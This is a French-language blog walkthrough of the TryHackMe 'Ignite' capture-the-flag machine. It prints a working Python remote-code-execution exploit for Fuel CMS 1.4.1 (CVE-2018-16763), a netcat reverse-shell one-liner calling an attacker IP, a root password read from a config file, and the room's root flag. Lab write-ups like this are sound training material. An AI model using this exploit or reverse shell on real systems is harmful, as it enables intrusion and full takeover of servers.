Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux
solution de la machine tryhackme ignite en français

Salut chers amis passionnés du hacking, nous continuons notre voyage avec une fois de plus l’une des machines de Tryhackme. Nous aurons à faire cette fois-ci à la machine Ignite. Au menu nous aurons du scan avec nmap, la recherche d’un exploit pour un cms, et l’utilisation d’un script python pour l’obtention d’un shell.

Ignite est une machine de niveau facile de tryhackme. Pour la résolution, de ce challenge il nous faudra trouver deux flag, un flag pour un utilisateur et un autre pour le root.

Ignite – Reconnaissance

Une fois la machine démarrée, nous attendons quelques minutes et nous obtenons l’adresse Ip avec lequel on pourra faire le scan. Nous allons utiliser Nmap pour le faire le scan des ports. Cette commande nmap -sV -A 10.10.1.237 nous permet de faire le scan .Voici le résultat du scan :

D’après le scan seul le port 80 pour l’http est ouvert.

Ignite – Énumération

Nous entrons ensuite l’adresse ip dans le navigateur et nous avons le résultat suivant.

Une petite recherche sur google nous permet de voir qu’il y a un exploit qui nous permet
d’exécuter des codes à code distance (remote exploitation) sur exploit-db.

Exploit-database, est une archive des exploits publics et des logiciels vulnérables correspondants. Vous pourrez accéder à cette base de donné ici.

Ignite – Exploitation

Pour la phase d’exploitation, nous avons utilisé le CVE-2018-16763 qui a comme nom fuel CMS 1.4.1 – Remote code Execution (1). Nous avons personnalisé le script en ajoutant l’adresse ip de la machine URL = "http://10.10.1.237/". Voici à quoi ressemble le script

import requests
import urllib

url = "http://10.10.1.237/"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = raw_input('cmd:')
	burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
	proxy = {"http":"http://127.0.0.1:8080"}
	r = requests.get(burp0_url, proxies=proxy)

	html = "<!DOCTYPE html>"
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print r.text[0:dup]

Après exécution du script, nous obtenons ainsi un shell qui va nous permettre l’execution de commandes.

Puisque nous avons le RCE maintenant, nous pouvons facilement obtenir un reverse shell en l’utilisant. Nous personnalisons la commande en ajoutant notre adresse ip dans la commande suivante :

cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.9.70 4444 >/tmp/f"

Cela nous donnera un reverse shell sur notre machine écoutée sur le port 4444 via

nc -lvp 4444

Ce qui nous permet d’avoir le flag d’un user.

Ignite – Escalade de privilège

Un peu plus sur la page d’accueil nous un lien qui nous a particulièrement intéressés. C’est le lien vers le fichier de configuration de la base de donné fuel/application/config/database.php.

En affichant ce fichier nous avons eu le mot de passe de l’utilisateur root qui est mememe.

Nous nous connectons au compte et ensuite nous obtenons le flag du root.

www-data@ubuntu:/home/www-data$ su root
su root
Password: mememe

root@ubuntu:/home/www-data# cd /root
cd /root
root@ubuntu:~# ls
ls
root.txt
root@ubuntu:~# cat root.txt 
cat root.txt 
b9bbcb33e11b80be759c4e844862482d 
root@ubuntu:~# 

Conclusion

Pour cet article nous avons découvert un moyen pour rechercher les exploits d’un logiciel vulnérable et comment l’exploiter avec la version 1.4 de fuel cms. Ceci vous permettra de vérifier s’il existe un exploit pour les applications que vous utilisez et de prendre vos dispositions.

J’espère que cet article vous sera utile et vous dis donc à bientôt pour encore plus de tuto hacking.

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.